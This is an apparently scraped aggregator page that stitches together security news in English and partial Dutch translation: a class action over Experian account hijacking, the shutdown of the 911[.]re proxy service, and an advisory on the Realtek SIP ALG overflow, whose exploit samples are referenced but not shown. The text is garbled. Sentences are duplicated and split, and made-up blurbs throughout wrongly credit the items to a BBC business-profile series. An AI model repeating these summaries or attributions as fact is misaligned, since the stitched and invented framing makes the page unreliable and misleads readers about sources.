A class action lawsuit has been filed against big-three consumer credit bureau Experian over reports that the company did little to prevent identity thieves from hijacking consumer accounts. The legal filing cites liberally from an investigation KrebsOnSecurity published in July,…

In our series of letters from African journalists, the BBC’s weekly The Boss series profiles different business leaders from around the world.

In onze serie brieven van Afrikaanse journalisten stelt de wekelijkse BBC-serie The Boss verschillende bedrijfsleiders uit de hele wereld aan het woord.

The legal filing cites liberally from an investigation KrebsOnSecurity published in July, which found that identity thieves were able to assume control over existing Experian accounts simply by signing up for new accounts using the victim’s personal information and a different email address. In July’s Experian, You Have Some Explaining to Do, we heard from two different readers who had security freezes on their credit files with Experian and who also recently received notifications from Experian that the email address on their account had been changed. Both were able to recover access to their Experian account simply by recreating it — sharing their name, address, phone number, social security number, date of birth, and successfully gleaning or guessing the answers to four multiple choice questions that are almost entirely based on public records (or else information that is not terribly difficult to find).

In het juridische dossier wordt rijkelijk geciteerd uit een onderzoek dat KrebsOnSecurity in juli publiceerde en waaruit bleek dat identiteitsdieven in staat waren de controle over bestaande Experian-accounts over te nemen door zich aan te melden voor nieuwe accounts met gebruikmaking van de persoonlijke gegevens van het slachtoffer en een ander e-mailadres. De rechtszaak, die op 28 juli 2022 werd aangespannen in de Central District Court van Californië, stelt dat Experian's gedocumenteerde praktijk om de herregistratie van accounts toe te staan zonder eerst te verifiëren of de bestaande account toestemming gaf voor de wijzigingen, een schending is van de Fair Credit Reporting Act. Hier is het stukje uit dat verhaal dat werd gebruikt in de collectieve rechtszaak:KrebsOnSecurity probeerde Turner en Rishi's ervaring na te bootsen - om te zien of Experian me zou toestaan mijn account opnieuw aan te maken met mijn persoonlijke informatie maar een ander email adres.

A class action lawsuit has been filed against big-three consumer credit bureau Experian over reports that the company did little to prevent identity thieves from hijacking consumer accounts. The legal filing cites liberally from an investigation KrebsOnSecurity published in July, which found that identity thieves were able to assume control over existing Experian accounts simply by signing up for new accounts using the victim’s personal information and a different email address.

The lawsuit, filed July 28, 2022 in California Central District Court, argues that Experian’s documented practice of allowing the re-registration of accounts without first verifying that the existing account authorized the changes is a violation of the Fair Credit Reporting Act.

In July’s Experian, You Have Some Explaining to Do, we heard from two different readers who had security freezes on their credit files with Experian and who also recently received notifications from Experian that the email address on their account had been changed. So had their passwords and account PIN and secret questions. Both had used password managers to pick and store complex, unique passwords for their accounts.

Both were able to recover access to their Experian account simply by recreating it — sharing their name, address, phone number, social security number, date of birth, and successfully gleaning or guessing the answers to four multiple choice questions that are almost entirely based on public records (or else information that is not terribly difficult to find).

Here’s the bit from that story that got excerpted in the class action lawsuit:

KrebsOnSecurity sought to replicate Turner and Rishi’s experience — to see if Experian would allow me to re-create my account using my personal information but a different email address. The experiment was done from a different computer and Internet address than the one that created the original account years ago. After providing my Social Security Number (SSN), date of birth, and answering several multiple choice questions whose answers are derived almost entirely from public records, Experian promptly changed the email address associated with my credit file. It did so without first confirming that new email address could respond to messages, or that the previous email address approved the change. Experian’s system then sent an automated message to the original email address on file, saying the account’s email address had been changed. The only recourse Experian offered in the alert was to sign in, or send an email to an Experian inbox that replies with the message, “this email address is no longer monitored.” After that, Experian prompted me to select new secret questions and answers, as well as a new account PIN — effectively erasing the account’s previously chosen PIN and recovery questions. Once I’d changed the PIN and security questions, Experian’s site helpfully reminded me that I have a security freeze on file, and would I like to remove or temporarily lift the security freeze? To be clear, Experian does have a business unit that sells one-time password services to businesses. While Experian’s system did ask for a mobile number when I signed up a second time, at no time did that number receive a notification from Experian. Also, I could see no option in my account to enable multi-factor authentication for all logins.

In response to my story, Experian suggested the reports from readers were isolated incidents, and that the company does all kinds of things it can’t talk about publicly to prevent bad people from abusing its systems.

“We believe these are isolated incidents of fraud using stolen consumer information,” Experian’s statement reads. “Specific to your question, once an Experian account is created, if someone attempts to create a second Experian account, our systems will notify the original email on file.”

“We go beyond reliance on personally identifiable information (PII) or a consumer’s ability to answer knowledge-based authentication questions to access our systems,” the statement continues. “We do not disclose additional processes for obvious security reasons; however, our data and analytical capabilities verify identity elements across multiple data sources and are not visible to the consumer. This is designed to create a more positive experience for our consumers and to provide additional layers of protection. We take consumer privacy and security seriously, and we continually review our security processes to guard against constant and evolving threats posed by fraudsters.”

That sounds great, but since that story ran I’ve heard from several more readers who were doing everything right and still had their Experian accounts hijacked, with little left to show for it except an email alert from Experian saying they had changed the address on file for the account.

I’d like to believe this class action lawsuit will change things, but I do not. Likely, the only thing that will come from this lawsuit — if it is not dismissed outright — is a fat payout for the plaintiffs’ attorneys and “free” credit monitoring for a few years compliments of Experian.

Credit bureaus do not view consumers as customers, who are instead the product that is being sold to third party companies. Often that data is sold based on the interests of the entity purchasing the data, wherein consumer records can be packaged into categories like “dog owner,” “expectant parent,” or “diabetes patient.”

Most lenders rely on the big-three consumer credit reporting bureaus, including Equifax, Experian and Trans Union — to determine everyone’s credit score, fluctuations in which can make or break one’s application for a loan or job.

On Tuesday, The Wall Street Journal broke a story saying Equifax sent lenders incorrect credit scores for millions of consumers this spring.

Meanwhile, the credit bureaus keep enjoying record earnings. For its part, Equifax reported a record fourth quarter 2021 revenue of 1.3 billion. Much of that revenue came from its Workforce Solutions business, which sells information about consumer salary histories to a variety of customers.

The Biden administration reportedly wants to create a public entity within the Consumer Financial Protection Bureau (CFPB) that would incorporate factors like rent and utility payments into lending decisions. Such a move would require congressional approval but CFPB officials are already discussing how it might be set up, Reuters reported.

“Credit reporting firms oppose the move, saying they are already working to provide fair and affordable credit to all consumers,” Reuters wrote. “A public credit bureau would be bad for consumers because it would expand the government’s power in an inappropriate way and its goals would shift with political winds, the Consumer Data Industry Association (CDIA), which represents private rating firms, said in a statement.”

A public credit bureau is likely to meet fierce resistance from the Congress’s most generous constituents — the banking industry — which detests rapid change and is heavily reliant on the credit bureaus.

And there is a preview of that fight going on right now over the bipartisan American Data Privacy and Protection Act, which The Hill described as one of the most lobbied bills in Congress. The idea behind the bill is that companies can’t collect any more information from you than they need to provide you with the service you’re seeking.

“The bipartisan bill, which represents a breakthrough for lawmakers after years of negotiations, would restrict the kind of data companies can collect from online users and the ways they can use that data,” The Hill reported Aug. 3. “Its provisions would impact companies in every consumer-centric industry — including retailers, e-commerce giants, telecoms, credit card companies and tech firms — that compile massive amounts of user data and rely on targeted ads to attract customers.”

According to the Electronic Frontier Foundation, a nonprofit digital rights group, the bill as drafted falls short in protecting consumers in several areas. For starters, it would override or preempt many kinds of state privacy laws. The EFF argues the bill also would block the Federal Communications Commission (FCC) from enforcing federal privacy laws that now apply to cable and satellite TV, and that consumers should still be allowed to sue companies that violate their privacy.

A copy of the class action complaint against Experian is available here (PDF).

Class Action Targets Experian Over Account Security – Krebs on Security

911[.]re, a proxy service that since 2015 has sold access to hundreds of thousands of Microsoft Windows computers daily, announced this week that it is shutting down in the wake of a data breach that destroyed key components of its…

It’s been a week since the largest proxy service in the world shut down. But what does this mean for the service?

Het is een week geleden dat de grootste proxy-dienst ter wereld zijn deuren sloot. Maar wat betekent dit voor de dienst?

911[. ]re, a proxy service that since 2015 has sold access to hundreds of thousands of Microsoft Windows computers daily, announced this week that it is shutting down in the wake of a data breach that destroyed key components of its business operations. 911[. Residential proxy services are often marketed to people seeking the ability to evade country-specific blocking by the major movie and media streaming providers.

]re, een proxy-dienst die sinds 2015 dagelijks toegang tot honderdduizenden Microsoft Windows-computers heeft verkocht, kondigde deze week aan dat het de deuren sluit in de nasleep van een datalek dat belangrijke onderdelen van zijn bedrijfsvoering heeft vernietigd. Residentiële proxy-diensten worden vaak aangeboden aan mensen die de landspecifieke blokkering door de grote aanbieders van film- en mediastreaming willen omzeilen. Vanuit het oogpunt van een website lijkt het IP-verkeer van een residentiële proxy-netwerkgebruiker afkomstig te zijn van het gehuurde residentiële IP-adres, niet van de klant van de proxy-dienst.

911[.]re, a proxy service that since 2015 has sold access to hundreds of thousands of Microsoft Windows computers daily, announced this week that it is shutting down in the wake of a data breach that destroyed key components of its business operations. The abrupt closure comes ten days after KrebsOnSecurity published an in-depth look at 911 and its connections to shady pay-per-install affiliate programs that secretly bundled 911’s proxy software with other titles, including “free” utilities and pirated software.

911[.]re was one of the original “residential proxy” networks, which allow someone to rent a residential IP address to use as a relay for his/her Internet communications, providing anonymity and the advantage of being perceived as a residential user surfing the web.

Residential proxy services are often marketed to people seeking the ability to evade country-specific blocking by the major movie and media streaming providers. But some of them — like 911 — build their networks in part by offering “free VPN” or “free proxy” services that are powered by software which turns the user’s PC into a traffic relay for other users. In this scenario, users indeed get to use a free VPN service, but they are often unaware that doing so will turn their computer into a proxy that lets others use their Internet address to transact online.

From a website’s perspective, the IP traffic of a residential proxy network user appears to originate from the rented residential IP address, not from the proxy service customer. These services can be used in a legitimate manner for several business purposes — such as price comparisons or sales intelligence — but they are massively abused for hiding cybercrime activity because they can make it difficult to trace malicious traffic to its original source.

As noted in KrebsOnSecurity’s July 19 story on 911, the proxy service operated multiple pay-per-install schemes that paid affiliates to surreptitiously bundle the proxy software with other software, continuously generating a steady stream of new proxies for the service.

Within hours of that story, 911 posted a notice at the top of its site, saying, “We are reviewing our network and adding a series of security measures to prevent misuse of our services. Proxy balance top-up and new user registration are closed. We are reviewing every existing user, to ensure their usage is legit and [in] compliance with our Terms of Service.”

At this announcement, all hell broke loose on various cybercrime forums, where many longtime 911 customers reported they were unable to use the service. Others affected by the outage said it seemed 911 was trying to implement some sort of “know your customer” rules — that maybe 911 was just trying to weed out those customers using the service for high volumes of cybercriminal activity.

Then on July 28, the 911 website began redirecting to a notice saying, “We regret to inform you that we permanently shut down 911 and all its services on July 28th.”

According to 911, the service was hacked in early July, and it was discovered that someone manipulated the balances of a large number of user accounts. 911 said the intruders abused an application programming interface (API) that handles the topping up of accounts when users make financial deposits with the service.

“Not sure how did the hacker get in,” the 911 message reads. “Therefore, we urgently shut down the recharge system, new user registration, and an investigation started.”

However the intruders got in, 911 said, they managed to also overwrite critical 911[.]re servers, data and backups of that data.

“On July 28th, a large number of users reported that they could not log in the system,” the statement continues. “We found that the data on the server was maliciously damaged by the hacker, resulting in the loss of data and backups. Its [sic] confirmed that the recharge system was also hacked the same way. We were forced to make this difficult decision due to the loss of important data that made the service unrecoverable.”

Operated largely out of China, 911 was an enormously popular service across many cybercrime forums, and it became something akin to critical infrastructure for this community after two of 911’s longtime competitors — malware-based proxy services VIP72 and LuxSocks — closed their doors in the past year.

Now, many on the crime forums who relied on 911 for their operations are wondering aloud whether there are any alternatives that match the scale and utility that 911 offered. The consensus seems to be a resounding “no.”

I’m guessing we may soon learn more about the security incidents that caused 911 to implode. And perhaps other proxy services will spring up to meet what appears to be a burgeoning demand for such services at the moment, with comparatively little supply.

In the meantime, 911’s absence may coincide with a measurable (if only short-lived) reprieve in unwanted traffic to top Internet destinations, including banks, retailers and cryptocurrency platforms, as many former customers of the proxy service scramble to make alternative arrangements.

Riley Kilmer, co-founder of the proxy-tracking service Spur.us, said 911’s network will be difficult to replicate in the short run.

“My speculation is [911’s remaining competitors] are going to get a major boost in the short term, but a new player will eventually come along,” Kilmer said. “None of those are good replacements for LuxSocks or 911. However, they will all allow anyone to use them. For fraud rates, the attempts will continue but through these replacement services which should be easier to monitor and stop. 911 had some very clean IP addresses.”

911 wasn’t the only major proxy provider disclosing a breach this week tied to unauthenticated APIs: On July 28, KrebsOnSecurity reported that internal APIs exposed to the web had leaked the customer database for Microleaves, a proxy service that rotates its customers’ IP addresses every five to ten minutes. That investigation showed Microleaves — like 911 — had a long history of using pay-per-install schemes to spread its proxy software.

911 Proxy Service Implodes After Disclosing Breach – Krebs on Security

Realtek SDK SIP ALG Vulnerability: A Big Deal, but not much you can do about it. CVE 2022-27255, Author: Johannes Ullrich

The BBC's weekly The Boss series profiles different business leaders from around the world. This week we speak to two experts about a vulnerability in the Realtek eCos software.

De wekelijkse serie The Boss van de BBC stelt verschillende bedrijfsleiders uit de hele wereld aan het woord. Deze week spreken we met twee experts over een kwetsbaarheid in de Realtek eCos software.

Realtek patched the vulnerability they spoke about in March. The vulnerability affects Realtek's SDK. Affected vendors need to release patched firmware to mitigate this vulnerability.

De kwetsbaarheid treft de SDK van Realtek. Verschillende leveranciers gebruiken deze SDK als onderdeel van de apparatuur die gebruik maakt van de RTL819x SoC's van Realtek. De betrokken verkopers moeten gepatchte firmware uitbrengen om deze kwetsbaarheid te verhelpen.

On Friday, Octavio Gianatiempo & Octavio Galland released details about a vulnerability in Realtek's eCos SDK. The release came as part of their talk at Defcon. Realtek patched the vulnerability they spoke about in March. But this patch may not do you much good. The vulnerability affects Realtek's SDK. Various vendors use this SDK as part of the equipment that uses Realtek's RTL819x SoCs. Affected vendors need to release patched firmware to mitigate this vulnerability. Many affected vendors have not yet released updates.
• Devices using firmware built around the Realtek eCOS SDK before March 2022 are vulnerable
• You are vulnerable even if you do not expose any admin interface functionality
• Attackers may use a single UDP packet to an arbitrary port to exploit the vulnerability
• This vulnerability will likely affect routers the most, but some IoT devices built around Realtek's SDK may also be affected.

You may check the complete slide deck from the talk here https://github.com/infobyte/cve-2022-27255/blob/main/DEFCON/slides.pdf.

The Realtek SDK implements an Application Layer Gateway (ALG) for SIP. Many routers do that to allow SIP to work past NAT. NAT alters a packet's IP addresses. But the SIP payload also includes the IP addresses, and the ALG ensures that the IP addresses in the payload match the routable IP address of the gateway.

Here is a quick sample SIP payload from one of our honeypots:

The critical part is highlighted in orange/red. An attacker can trigger a stack-based buffer overflow by sending an arbitrary string. The paper demonstrates how code execution is easily accomplished.

According to the presentation, POCexploit would look as simple as (abbreviated. Needs at least 256 "a"s):

Only the last line matters. This simple PoC should crash a vulnerable device. This and other exploits are available via the presentation author's GitHub repo (https://github.com/infobyte/cve-2022-27255)

You can find a PCAP I recorded from one of the exploits (the one starting a telnet server) here: exploit.pcap

So what can you do about this?

First of all, make sure your firmware is up to date. There is a chance that your vendor did release an update. Secondly, if you can block unsolicited UDP requests at your perimeter, this isn't easy, and you must be careful not to block anything critical. But remember, you only need to block "unsolicited inbound" traffic. Traffic like DNS responses is still ok. This may be an option depending on the capabilities of your firewall. Protocols like gaming and some VoIP systems may give you a more difficult time with rules like this. For VoIP, you may be able to allowlist your VoIP provider.

Other than that: Be vigilant. Do not "trust" your router (which means moving to more host-based controls or, dare I say it: Zero trust. Nothing you are going to fully implement today.

I have not seen any decent IDS rules yet. Keep in mind: The Snort SIP preprocessor, by default, only watches a few standard SIP-related ports. Attackers may launch the exploit over any port. The exploit does not depend on you using SIP or responding to anything in your network. It just requires that the vulnerable ALG code parses the SIP packet.

InfoSec Handlers Diary Blog

Cisco has confirmed that its security was successfully breached by Yanluowang Ransomware Gang in May 2022.

A new password has been added to the list of the most popular passwords in the UK.

Een nieuw wachtwoord is toegevoegd aan de lijst van de populairste wachtwoorden in het Verenigd Koninkrijk.

“123456” remains and retains the top position in the most popular or rather “worst password” list, says SplashData…

2022 Workshop over economie en informatiebeveiliging (WEIS) - Schneier over beveiliging

Vergelijkbare publicaties

Het probleem met onze cyberbeveiliging

Waarom edge de wereld opeet

Groepsactie tegen Experian vanwege beveiliging accounts - Krebs on Security

911 Proxy Service implodeert na onthulling van inbraak - Krebs on Security

InfoSec Handlers Dagboek Blog

Cisco bevestigt netwerkinbreuk nadat Google-account van werknemer was gehackt

Gevonden topics

Hoe maak je een simpel virus? (Windows) | HackeRoyale

Hoe de integratie van Agile, DevOps en Cybersecurity telecombedrijven profijt kan brengen

WatchGuard Technologies' voorspellingen voor 2022: Door staten gesponsorde mobiele bedreigingen, ruimtegerelateerde hacks en meer